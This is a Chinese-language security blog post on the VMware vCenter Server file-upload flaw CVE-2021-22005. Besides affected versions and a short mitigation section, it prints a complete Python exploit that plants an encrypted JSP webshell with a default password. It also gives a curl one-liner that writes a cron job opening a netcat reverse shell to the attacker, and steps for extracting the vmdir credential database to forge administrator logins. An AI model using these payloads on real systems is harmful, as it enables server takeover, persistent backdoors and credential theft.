VMware vCenter Server 任意文件上传漏洞(CVE-2021-22005)


漏洞描述

VMware是一家云基础架构和移动商务解决方案厂商,提供基于VMware的虚拟化解决方案。2021年9月22日,VMware 官方发布安全公告,披露了包括 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞在内的多个中高危严重漏洞。在CVE-2021-22005中,攻击者可构造恶意请求,通过vCenter中的Analytics服务,可上传恶意文件,从而造成远程代码执行漏洞。

漏洞影响

针对 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞
VMware vCenter Server 7.0系列 < 7.0 U2c
VMware vCenter Server 6.7系列 < 6.7 U3o
VMware vCenter Server 6.5系列 不受该漏洞影响
其余漏洞受影响版本可参考 https://www.vmware.com/security/advisories/VMSA-2021-0020.html
安全版本:
VMware vCenter Server 7.0 U2c
VMware vCenter Server 6.7 U3o

环境搭建

vcenter server7.0安装

VMware-VCSA-all-7.0.0-15952498.iso链接 提取码:x6fa

漏洞复现

漏洞批量检测poc

我们可以针对 /analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求来识别你的服务器是否受影响

curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"

  • 如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。

  • 如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。

  • 如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。

  • 如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。
    任何其他状态代码可能暗示不适用。

漏洞EXP:

python3 CVE-2021-22005_poc.py -t https://ip

利用方法

验证0

验证

import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
 
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
    
def escape(_str):
    _str = _str.replace("&", "&")
    _str = _str.replace("<", "<")
    _str = _str.replace(">", ">")
    _str = _str.replace("\"", """)
    return _str
    
def str_to_escaped_unicode(arg_str):
    escaped_str = ''
    for s in arg_str:
        val = ord(s)
        esc_uni = "\\u{:04x}".format(val)
        escaped_str += esc_uni
    return escaped_str
 
 
def createAgent(target, agent_name, log_param):
 
    
    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
    headers = { "Cache-Control": "max-age=0", 
               "Upgrade-Insecure-Requests": "1", 
               "User-Agent": "Mozilla/5.0", 
               "X-Deployment-Secret": "abc", 
               "Content-Type": "application/json", 
               "Connection": "close" }
               
    json_data = { "manifestSpec":{}, 
                  "objectType": "a2",
                  "collectionTriggerDataNeeded":  True,
                  "deploymentDataNeeded":True, 
                  "resultNeeded": True, 
                  "signalCollectionCompleted":True, 
                  "localManifestPath": "a7",
                  "localPayloadPath": "a8",
                  "localObfuscationMapPath": "a9" }
                  
    requests.post(url, headers=headers, json=json_data, verify=False)
    
 
def generate_manifest(webshell_location, webshell):
 
    manifestData = """<manifest recommendedPageSize="500">
       <request>
          <query name="vir:VCenter">
             <constraint>
                <targetType>ServiceInstance</targetType>
             </constraint>
             <propertySpec>
                <propertyNames>content.about.instanceUuid</propertyNames>
                <propertyNames>content.about.osType</propertyNames>
                <propertyNames>content.about.build</propertyNames>
                <propertyNames>content.about.version</propertyNames>
             </propertySpec>
          </query>
       </request>
       <cdfMapping>
          <indepedentResultsMapping>
             <resultSetMappings>
                <entry>
                   <key>vir:VCenter</key>
                   <value>
                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
                         <resourceItemToJsonLdMapping>
                            <forType>ServiceInstance</forType>
                         <mappingCode><![CDATA[    
                            #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
                            #set($orig_log = $appender.getFile())##
                            #set($logger = $GLOBAL-logger.logger.parent)##     
                            $appender.setFile("%s")##     
                            $appender.activateOptions()##  
                            $logger.warn("%s")##   
                            $appender.setFile($orig_log)##     
                            $appender.activateOptions()##]]>
                         </mappingCode>
                         </resourceItemToJsonLdMapping>
                      </value>
                   </value>
                </entry>
             </resultSetMappings>
          </indepedentResultsMapping>
       </cdfMapping>
       <requestSchedules>
          <schedule interval="1h">
             <queries>
                <query>vir:VCenter</query>
             </queries>
          </schedule>
       </requestSchedules>
    </manifest>""" % (webshell_location, webshell)
    
    return manifestData
 
def arg():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help = "Target", required = True)
    args = parser.parse_args()
    target = args.target
    print("[*] Target: %s" % target)
    return target
 
def exec():
    target = arg()
    # Variables
    webshell_param = id_generator(6)
    log_param = id_generator(6)
    agent_name = id_generator(6)
    shell_name = "Server.jsp"
    webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""
 
    webshell_location =  "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
    webshell = str_to_escaped_unicode(webshell)
    manifestData = generate_manifest(webshell_location,webshell)
    print("[*] Creating Agent")
    createAgent(target, agent_name, log_param)
    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
    headers = {"Cache-Control": "max-age=0", 
                     "Upgrade-Insecure-Requests": "1", 
                     "User-Agent": "Mozilla/5.0", 
                     "X-Deployment-Secret": "abc", 
                     "Content-Type": "application/json", 
                     "Connection": "close"}
    json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
    requests.post(url, headers=headers, json=json_data, verify=False)
    #webshell连接地址
    url = "%s/idm/..;/%s" % (target, shell_name)
    code = requests.get(url=url, headers=headers,verify=False).status_code
    if code != "404":
        print("webshell地址: %s" % url)
        print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )
 
    else:
        print("未获取到webshell地址")
 
 
if __name__ == '__main__':
    exec()

反弹shell EXP

curl -kv "https:/xx.xx.xx.xx/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh Your IP port"

这里我没成功

vCenter cookie读取登录

存储关键身份验证信息数据位置:

  • Linux:

    /storage/db/vmware-vmdir/data.mdb
  • Windows

    C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

读cookie

Linux下数据库目录

下载解密脚本:git clone https://github.com/horizon3ai/vcenter_saml_login.git

用法:

python3 vcenter_saml_login.py -p data.mdb -t 10.1.2.174
如果提示库文件缺少使用下面方法解决:
ModuleNotFoundError: No module named 'OpenSSL'解决方法
pip3 install pyOpenSSL
ModuleNotFoundError: No module named 'ldap'解决方法
pip3 install python-ldap
ModuleNotFoundError: No module named 'signxml' 解决方法
pip3 install signxml

解密mdb

QQ20211031-013719-HD

修复方案

1、升级VMware vCenter Server 至最新版本。

2、针对 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞,可按照 https://kb.vmware.com/s/article/85717 相关措施进行缓解。


文章作者: Taoing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Taoing !
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